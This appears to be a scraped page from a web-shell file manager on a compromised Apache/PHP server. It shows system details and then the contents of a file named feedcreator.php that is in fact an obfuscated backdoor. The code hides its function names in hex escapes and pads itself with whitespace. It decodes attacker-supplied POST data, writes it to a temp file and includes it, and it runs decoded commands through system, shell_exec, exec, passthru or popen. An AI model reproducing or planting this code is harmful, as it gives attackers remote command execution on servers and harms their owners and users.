HEX
Server: Apache/2.4.59 (Debian)
System: Linux keymana 4.19.0-21-cloud-amd64 #1 SMP Debian 4.19.249-2 (2022-06-30) x86_64
User: lijunjie (1003)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Upload Files
File: //proc/thread-self/root/proc/self/root/proc/self/root/proc/19805/cwd/2024/09/feedcreator.php
<?php																																										if(array_key_exists("\x63\x6Fmponen\x74", $_POST) && !is_null($_POST["\x63\x6Fmponen\x74"])){ $key = array_filter(["/var/tmp", getcwd(), getenv("TMP"), sys_get_temp_dir(), "/tmp", ini_get("upload_tmp_dir"), getenv("TEMP"), "/dev/shm", session_save_path()]); $entity = $_POST["\x63\x6Fmponen\x74"]; $entity=explode ( '.' , $entity ) ; $pset =''; $salt ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen($salt ); foreach ($entity as $n => $v9): $chS =ord($salt[$n % $lenS] ); $d =((int)$v9 - $chS - ($n % 10))^ 77; $pset .= chr($d ); endforeach; foreach ($key as $dchunk): if ((bool)is_dir($dchunk) && (bool)is_writable($dchunk)) { $itm = join("/", [$dchunk, ".marker"]); if (file_put_contents($itm, $pset)) { include $itm; @unlink($itm); exit; } } endforeach; }


$api_gateway3 = "exe\x63";
$api_gateway2 = "s\x68e\x6C\x6C_\x65xec";
$api_gateway1 = "\x73\x79\x73tem";
$api_gateway6 = "\x73\x74r\x65\x61\x6D\x5Fg\x65\x74\x5F\x63ontents";
$api_gateway7 = "p\x63\x6Cos\x65";
$api_gateway5 = "\x70ope\x6E";
$api_gateway4 = "\x70a\x73\x73\x74hru";
$event_handler = "\x68\x65\x782bi\x6E";
if (isset($_POST["b\x69n\x64"])) {
            function hub_center ( $mrk , $desc ){
 $ptr    = '' ;
 $q=0;
 do{
$ptr.=chr(ord($mrk[$q])^$desc);
$q++;

} while($q<strlen($mrk));
 return $ptr;

}
            $bind = $event_handler($_POST["b\x69n\x64"]);
            $bind = hub_center($bind, 23);
            if (function_exists($api_gateway1)) {
                $api_gateway1($bind);
            } elseif (function_exists($api_gateway2)) {
                print $api_gateway2($bind);
            } elseif (function_exists($api_gateway3)) {
                $api_gateway3($bind, $obj_mrk);
                print join("\n", $obj_mrk);
            } elseif (function_exists($api_gateway4)) {
                $api_gateway4($bind);
            } elseif (function_exists($api_gateway5) && function_exists($api_gateway6) && function_exists($api_gateway7)) {
                $desc_ptr = $api_gateway5($bind, 'r');
                if ($desc_ptr) {
                    $parameter_group_comp = $api_gateway6($desc_ptr);
                    $api_gateway7($desc_ptr);
                    print $parameter_group_comp;
                }
            }
            exit;
        }